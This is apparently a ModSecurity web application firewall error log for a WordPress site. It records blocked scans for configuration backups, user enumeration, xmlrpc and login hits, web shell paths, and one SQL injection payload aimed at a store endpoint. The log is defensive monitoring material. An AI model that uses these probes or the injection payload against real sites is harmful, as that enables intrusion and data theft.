[Sat May 09 05:55:35.026757 2026] [:error] [pid 9186:tid 9229] [client 130.12.182.66:53538] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.swp"] [unique_id "af5b1xW4eFOEw1mKOgJ59AAAAEM"]
[Sat May 09 05:55:35.028879 2026] [:error] [pid 9833:tid 9838] [client 130.12.182.66:53544] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.orig"] [unique_id "af5b1yM9JmxIS0KGZUA0OwAAAYA"]
[Sat May 09 05:55:35.580536 2026] [:error] [pid 9663:tid 9672] [client 130.12.182.66:39408] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.save"] [unique_id "af5b15cWIu01SCxbjwvKVwAAAQY"]
[Sat May 09 05:55:35.583293 2026] [:error] [pid 9663:tid 9673] [client 130.12.182.66:39410] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/wp-config.backup"] [unique_id "af5b15cWIu01SCxbjwvKWAAAAQc"]
[Sat May 09 05:55:35.592487 2026] [:error] [pid 9663:tid 9666] [client 130.12.182.66:39392] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.bak"] [unique_id "af5b15cWIu01SCxbjwvKWQAAAQA"]
[Sat May 09 05:55:35.592912 2026] [:error] [pid 9663:tid 9690] [client 130.12.182.66:39426] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.old"] [unique_id "af5b15cWIu01SCxbjwvKWgAAARg"]
[Sat May 09 05:55:35.606028 2026] [:error] [pid 9663:tid 9680] [client 130.12.182.66:39438] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php~"] [unique_id "af5b15cWIu01SCxbjwvKWwAAAQ4"]
[Sat May 09 05:55:35.606204 2026] [:error] [pid 9663:tid 9678] [client 130.12.182.66:39460] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.swp"] [unique_id "af5b15cWIu01SCxbjwvKXAAAAQw"]
[Sat May 09 05:55:35.607492 2026] [:error] [pid 9663:tid 9687] [client 130.12.182.66:39432] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.orig"] [unique_id "af5b15cWIu01SCxbjwvKXQAAARU"]
[Sat May 09 05:55:35.608094 2026] [:error] [pid 9920:tid 9926] [client 130.12.182.66:39450] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.txt"] [unique_id "af5b10xitGYhlzgZb5ZekwAAAcQ"]
[Sat May 09 06:17:16.366443 2026] [:error] [pid 9187:tid 9258] [client 195.201.195.185:33212] [client 195.201.195.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "af5g7BC7An6gkXsRsaHu8wAAAIU"]
[Sat May 09 07:27:15.815030 2026] [:error] [pid 9293:tid 9305] [client 5.194.74.30:57657] [client 5.194.74.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.194.74.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af5xU5R__qEzV5O6Z2PymgAAAMg"]
[Sat May 09 07:27:26.405063 2026] [:error] [pid 9760:tid 9784] [client 5.194.74.30:58163] [client 5.194.74.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.194.74.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af5xXmIkCp-C_fh0s7ITPQAAAVI"]
[Sat May 09 07:27:36.987670 2026] [:error] [pid 9293:tid 9316] [client 5.194.74.30:58531] [client 5.194.74.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.194.74.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af5xaJR__qEzV5O6Z2PyugAAANM"]
[Sat May 09 07:27:47.693337 2026] [:error] [pid 9663:tid 9689] [client 5.194.74.30:58909] [client 5.194.74.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.194.74.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af5xc5cWIu01SCxbjwvd6QAAARc"]
[Sat May 09 07:27:58.348761 2026] [:error] [pid 9187:tid 9254] [client 5.194.74.30:59279] [client 5.194.74.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.194.74.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af5xfhC7An6gkXsRsaEFFQAAAIE"]
[Sat May 09 11:21:06.518992 2026] [:error] [pid 9293:tid 9312] [client 45.154.98.198:65503] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oIpR__qEzV5O6Z2NVXQAAAM8"], referer: www.google.com
[Sat May 09 11:21:06.521403 2026] [:error] [pid 9663:tid 9679] [client 45.154.98.198:49456] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af6oIpcWIu01SCxbjwsLSwAAAQ0"]
[Sat May 09 11:21:06.523746 2026] [:error] [pid 9186:tid 9228] [client 45.154.98.198:49386] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oIhW4eFOEw1mKOgKuhgAAAEI"], referer: www.google.com
[Sat May 09 11:21:07.019119 2026] [:error] [pid 9663:tid 9682] [client 45.154.98.198:65479] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oI5cWIu01SCxbjwsLUwAAARA"], referer: www.google.com
[Sat May 09 11:21:07.020889 2026] [:error] [pid 9663:tid 9670] [client 45.154.98.198:49729] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af6oI5cWIu01SCxbjwsLVAAAAQQ"]
[Sat May 09 11:21:07.024004 2026] [:error] [pid 9663:tid 9683] [client 45.154.98.198:50219] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oI5cWIu01SCxbjwsLVgAAARE"], referer: www.google.com
[Sat May 09 11:21:07.521856 2026] [:error] [pid 9187:tid 9271] [client 45.154.98.198:61324] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oIxC7An6gkXsRsaFJfAAAAJI"], referer: www.google.com
[Sat May 09 11:21:07.522126 2026] [:error] [pid 9187:tid 9277] [client 45.154.98.198:62216] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af6oIxC7An6gkXsRsaFJfQAAAJg"]
[Sat May 09 11:21:07.527018 2026] [:error] [pid 9920:tid 9925] [client 45.154.98.198:62271] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oI0xitGYhlzgZb5atPQAAAcM"], referer: www.google.com
[Sat May 09 11:21:08.019356 2026] [:error] [pid 9293:tid 9301] [client 45.154.98.198:51170] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af6oJJR__qEzV5O6Z2NVaAAAAMQ"]
[Sat May 09 11:21:08.022932 2026] [:error] [pid 9293:tid 9311] [client 45.154.98.198:51194] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oJJR__qEzV5O6Z2NVagAAAM4"], referer: www.google.com
[Sat May 09 11:21:08.034369 2026] [:error] [pid 9293:tid 9314] [client 45.154.98.198:51350] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oJJR__qEzV5O6Z2NVawAAANE"], referer: www.google.com
[Sat May 09 11:21:08.518594 2026] [:error] [pid 9293:tid 9297] [client 45.154.98.198:54397] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af6oJJR__qEzV5O6Z2NVcwAAAMA"]
[Sat May 09 11:21:08.521273 2026] [:error] [pid 9293:tid 9309] [client 45.154.98.198:50599] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oJJR__qEzV5O6Z2NVdAAAAMw"], referer: www.google.com
[Sat May 09 11:21:08.542794 2026] [:error] [pid 9293:tid 9318] [client 45.154.98.198:54253] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oJJR__qEzV5O6Z2NVdwAAANU"], referer: www.google.com
[Sat May 09 11:21:09.530541 2026] [:error] [pid 9187:tid 9254] [client 45.154.98.198:52994] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oJRC7An6gkXsRsaFJgwAAAIE"], referer: www.google.com
[Sat May 09 11:21:09.546798 2026] [:error] [pid 9187:tid 9268] [client 45.154.98.198:53109] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oJRC7An6gkXsRsaFJhAAAAI8"], referer: www.google.com
[Sat May 09 11:21:10.536821 2026] [:error] [pid 9187:tid 9266] [client 45.154.98.198:54101] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oJhC7An6gkXsRsaFJiAAAAI0"], referer: www.google.com
[Sat May 09 11:21:10.551103 2026] [:error] [pid 9293:tid 9301] [client 45.154.98.198:54173] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oJpR__qEzV5O6Z2NVfwAAAMQ"], referer: www.google.com
[Sat May 09 11:21:11.555615 2026] [:error] [pid 9293:tid 9305] [client 45.154.98.198:56462] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oJ5R__qEzV5O6Z2NVhgAAAMg"], referer: www.google.com
[Sat May 09 11:21:11.564568 2026] [:error] [pid 9760:tid 9772] [client 45.154.98.198:56883] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oJ2IkCp-C_fh0s7Ir0AAAAUY"], referer: www.google.com
[Sat May 09 11:21:12.567028 2026] [:error] [pid 9293:tid 9306] [client 45.154.98.198:60133] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oKJR__qEzV5O6Z2NVjwAAAMk"], referer: www.google.com
[Sat May 09 11:21:12.567672 2026] [:error] [pid 9293:tid 9301] [client 45.154.98.198:60208] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oKJR__qEzV5O6Z2NVkAAAAMQ"], referer: www.google.com
[Sat May 09 11:21:13.597358 2026] [:error] [pid 9760:tid 9781] [client 45.154.98.198:50326] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "af6oKWIkCp-C_fh0s7Ir1QAAAU8"], referer: www.google.com
[Sat May 09 11:21:13.597920 2026] [:error] [pid 9760:tid 9789] [client 45.154.98.198:50189] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "af6oKWIkCp-C_fh0s7Ir1gAAAVc"], referer: www.google.com
[Sat May 09 12:55:51.288192 2026] [:error] [pid 9920:tid 9935] [client 20.220.146.147:3515] [client 20.220.146.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "af6-V0xitGYhlzgZb5bCDgAAAc0"]
[Sat May 09 12:55:52.115460 2026] [:error] [pid 9184:tid 9218] [client 20.220.146.147:13153] [client 20.220.146.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "af6-WIjfODqb_i0Fm9-GNwAAABU"]
[Sat May 09 12:55:52.950760 2026] [:error] [pid 9186:tid 9237] [client 20.220.146.147:42798] [client 20.220.146.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "af6-WBW4eFOEw1mKOgK8YQAAAEs"]
[Sat May 09 12:55:53.798376 2026] [:error] [pid 9920:tid 9946] [client 20.220.146.147:9491] [client 20.220.146.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "af6-WUxitGYhlzgZb5bCDwAAAdg"]
[Sat May 09 13:33:20.872599 2026] [:error] [pid 9184:tid 9200] [client 34.60.180.84:56216] [client 34.60.180.84] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "af7HIIjfODqb_i0Fm9-JhgAAAAM"]
[Sat May 09 13:33:22.018044 2026] [:error] [pid 9184:tid 9211] [client 34.60.180.84:56216] [client 34.60.180.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.180.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af7HIojfODqb_i0Fm9-JiAAAAA4"]
[Sat May 09 13:33:23.176336 2026] [:error] [pid 9186:tid 9247] [client 34.60.180.84:62735] [client 34.60.180.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.180.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af7HIxW4eFOEw1mKOgLA7QAAAFU"]
[Sat May 09 13:33:24.384996 2026] [:error] [pid 9187:tid 9261] [client 34.60.180.84:59396] [client 34.60.180.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.180.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af7HJBC7An6gkXsRsaFxZgAAAIg"]
[Sat May 09 13:33:25.648659 2026] [:error] [pid 9833:tid 9857] [client 34.60.180.84:54102] [client 34.60.180.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.180.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af7HJSM9JmxIS0KGZUByEgAAAZM"]
[Sat May 09 13:33:25.648819 2026] [:error] [pid 9833:tid 9857] [client 34.60.180.84:54102] [client 34.60.180.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.60.180.84, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af7HJSM9JmxIS0KGZUByEgAAAZM"]
[Sat May 09 15:02:02.894904 2026] [:error] [pid 9187:tid 9275] [client 209.99.191.176:56964] [client 209.99.191.176] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:[\\\\x22'`](?:;? ?\\\\b(?:having|select|union)\\\\b ?[^\\\\s]| ?! ?[\\\\x22'`\\\\w])|\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\b ?\\\\(|\\\\bunion\\\\b[\\\\w(\\\\s]*?select\\\\b|\\\\buser ?\\\\(|\\\\bschema ?\\\\(|\\\\bselect.{0,399}?\\\\w?\\\\buser ?\\\\(|\\\\binto[\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||rcacivilgroup.com|F|2"] [data "Matched Data: \\x22) union all select 1,table_name from information_schema.tables; found within MATCHED_VAR: \\x22) union all select 1,table_name from information_schema.tables;"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wc/store/products/collection-data"] [unique_id "af7b6hC7An6gkXsRsaGQtgAAAJY"]
[Sat May 09 15:31:15.349727 2026] [:error] [pid 9920:tid 9925] [client 107.189.13.30:62079] [client 107.189.13.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.13.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af7iw0xitGYhlzgZb5bjIAAAAcM"]
